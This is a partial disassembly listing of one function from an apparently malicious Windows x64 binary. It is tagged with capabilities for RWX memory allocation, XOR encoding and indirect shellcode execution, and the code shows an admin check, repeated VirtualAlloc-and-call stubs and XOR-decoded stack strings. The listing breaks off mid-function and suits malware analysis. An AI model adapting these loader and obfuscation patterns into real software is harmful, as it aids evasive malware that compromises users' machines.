Function at 0x14020d430
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1f8]
sub rsp, 0x2d0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
mov rax, qword [0x140294040]
xor rax, rsp
mov qword [rbp + 0x158], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
lea rcx, [rbp + 0x1f8]
movabs rdi, 0xff00ff00ff00ff00
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], rcx
mov rax, qword [rcx]
xor rax, rdi
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x140], rax
mov qword [rcx], r12
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x14020d66b
cmp qword [rbx + 0x18], 0xf
jbe 0x14020d4e9
mov rbx, qword [rbx]
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea r13, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], r13
mov r15, qword [r13]
xor r15, rdi
mov qword [rbp + 0xe0], r15
mov qword [r13], r12
mov ecx, r12d
lea r14, [0x14024df10]
lea rbx, [0x140000000]
mov rax, qword [0x14029b380]
test rax, rax
je 0x14020d569
mov rdx, r12
nop
cmp rax, r14
je 0x14020d558
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x29b380]
test rax, rax
jne 0x14020d540
jmp 0x14020d569
mov r8, qword [rbx + rdx*8 + 0x2996d0]
test r8, r8
jne 0x14020d64f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14020d592
mov r8, r12
jmp 0x14020d62e
mov rax, r14
mov rcx, r8
mov esi, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x14020d5a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297070]
mov qword [rbx + rax*8 + 0x29b380], r14
mov qword [rbx + rax*8 + 0x2996d0], r8
inc rax
mov qword [0x140297070], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14020b850]
call r8
nop
xor r15, rdi
mov qword [r13], r15
jmp 0x14020f285
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140209950
nop
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14020bc00
nop
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140209aa0
nop
lea rcx, [rbp + 0xc0]
call fcn.14024c160
nop
lea rcx, [rbp - 0x70]
call fcn.14024c160
movups xmm0, xmmword [str.4__l5_1_z]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x1402813d0]
movups xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [0x1402813e0]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402813f0]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1402813f8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1402813fc]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x1402813fe]
mov byte [rbp - 0x7a], al
mov r9d, r12d
movdqa xmm6, xmmword [0x140284370]
movdqa xmm9, xmmword [0x140284390]
movdqa xmm11, xmmword [str.ffffiiii]
movdqa xmm12, xmmword [0x1402843d0]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm8, xmmword [0x1402843c0]
movdqa xmm10, xmmword [0x140284260]
mov r15d, dword [0x140294090]
cmp r15d, 2
jl 0x14020d8f9
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rsp + 0x4c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psubd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14020d770
cmp r9d, 0x3f
jge 0x14020d962
movsxd rax, r9d
lea r10, [rsp + 0x48]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14020d910
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r14, qword [rax]
xor r14, rdi
mov qword [rbp + 0xe0], r14
mov qword [rax], r12
mov ecx, r12d
mov esi, 3
lea rbx, [0x140000000]
lea r13, [0x14024df10]
mov rax, qword [0x140298720]
test rax, rax
je 0x14020d9e9
mov rdx, r12
cmp rax, r13
je 0x14020d9d8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x298720]
test rax, rax
jne 0x14020d9c0
jmp 0x14020d9e9
mov r8, qword [rbx + rdx*8 + 0x297db0]
test r8, r8
jne 0x14020dacf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14020da12
mov r8, r12
jmp 0x14020daae
mov rax, r13
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020da20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297a60]
mov qword [rbx + rax*8 + 0x298720], r13
mov qword [rbx + rax*8 + 0x297db0], r8
inc rax
mov qword [0x140297a60], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14020b850]
call r8
nop
mov dword [rsp + 0x40], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xe0], r14
mov qword [rax], r12
mov ecx, r12d
lea r13, [0x14024df40]
mov rax, qword [0x1402980d0]
test rax, rax
je 0x14020db59
mov rdx, r12
nop dword [rax]
cmp rax, r13
je 0x14020db48
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2980d0]
test rax, rax
jne 0x14020db30
jmp 0x14020db59
mov r8, qword [rbx + rdx*8 + 0x29a3b0]
test r8, r8
jne 0x14020dc3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14020db82
mov r8, r12
jmp 0x14020dc1e
mov rax, r13
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020db90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
mov qword [rbx + rax*8 + 0x2980d0], r13
mov qword [rbx + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r14, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r14
movups xmm0, xmmword [str.dhenvr3_z:]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x140281d50]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x140281d60]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x140281d70]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x140281d80]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140281d90]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140281da0]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x140281db0]
movsd qword [rbp + 0xb0], xmm0
movzx eax, byte [0x140281db8]
mov byte [rbp + 0xb8], al
mov r9d, r12d
cmp r15d, 2
jl 0x14020de79
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp + 0x44]
mov edx, dword [rbp + 0xe0]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x14020dcf0
cmp r9d, 0x79
jge 0x14020dee2
movsxd rax, r9d
lea r10, [rbp + 0x40]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x14020de90
movups xmm0, xmmword [str.4__l_46tt]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1402829a0]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1402829b0]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1402829c0]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x1402829d0]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1402829e0]
movups xmmword [rbp + 0x20], xmm1
movsd xmm0, qword [0x1402829f0]
movsd qword [rbp + 0x30], xmm0
movzx eax, word [0x1402829f8]
mov word [rbp + 0x38], ax
movzx eax, byte [0x1402829fa]
mov byte [rbp + 0x3a], al
mov r9d, r12d
cmp r15d, 2
jl 0x14020e0f9
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp - 0x2c]
mov edx, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x14020df70
cmp r9d, 0x6b
jge 0x14020e162
movsxd rax, r9d
lea r10, [rbp - 0x30]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x23
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x14020e110
lea rax, [rbp - 0x30]
mov r15, 0xffffffffffffffff
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14020e170
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rdx, qword [rbp + 0x130]
sub rax, rdx
cmp rax, rcx
jb 0x14020f2ec
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x30]
lea rcx, [rsp + 0x48]
call fcn.140251540
nop
lea rax, [rbp + 0x40]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14020e1d5
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14024a910
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rax, qword [rbp + 0x100]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
lea r14, [0x14024df10]
mov rax, qword [0x14029b380]
test rax, rax
je 0x14020e2b9
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x14020e2a8
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x29b380]
test rax, rax
jne 0x14020e290
jmp 0x14020e2b9
mov r8, qword [rbx + rdx*8 + 0x2996d0]
test r8, r8
jne 0x14020e39f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14020e37e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020e2f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297070]
mov qword [rbx + rax*8 + 0x29b380], r14
mov qword [rbx + rax*8 + 0x2996d0], r8
inc rax
mov qword [0x140297070], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14020b850]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
lea rcx, [rbp + 0x100]
call fcn.14024c260
nop
lea rcx, [rsp + 0x48]
call fcn.14024c260
mov dword [rsp + 0x40], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x1402980d0]
test rax, rax
je 0x14020e44e
xor edx, edx
lea r8, [0x14024df40]
cmp rax, r8
je 0x14020e43d
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2980d0]
test rax, rax
jne 0x14020e425
jmp 0x14020e44e
mov r8, qword [rbx + rdx*8 + 0x29a3b0]
test r8, r8
jne 0x14020e536
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14020e50e
lea rax, [0x14024df40]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020e480
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140298a40]
lea rcx, [0x14024df40]
mov qword [rbx + rax*8 + 0x2980d0], rcx
mov qword [rbx + rax*8 + 0x29a3b0], r8
inc rax
mov qword [0x140298a40], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
movups xmm0, xmmword [str.5__:p]
movups xmmword [rbp + 0x100], xmm0
movsd xmm0, qword [0x140280a50]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x140280a58]
mov dword [rbp + 0x118], eax
movzx eax, word [0x140280a5c]
mov word [rbp + 0x11c], ax
cmp byte [0x140280a5d], 0
je 0x14020e7b2
xor r9d, r9d
cmp dword [0x140294090], 2
jl 0x14020e749
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp + 0x104]
mov edx, dword [rbp + 0xe0]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
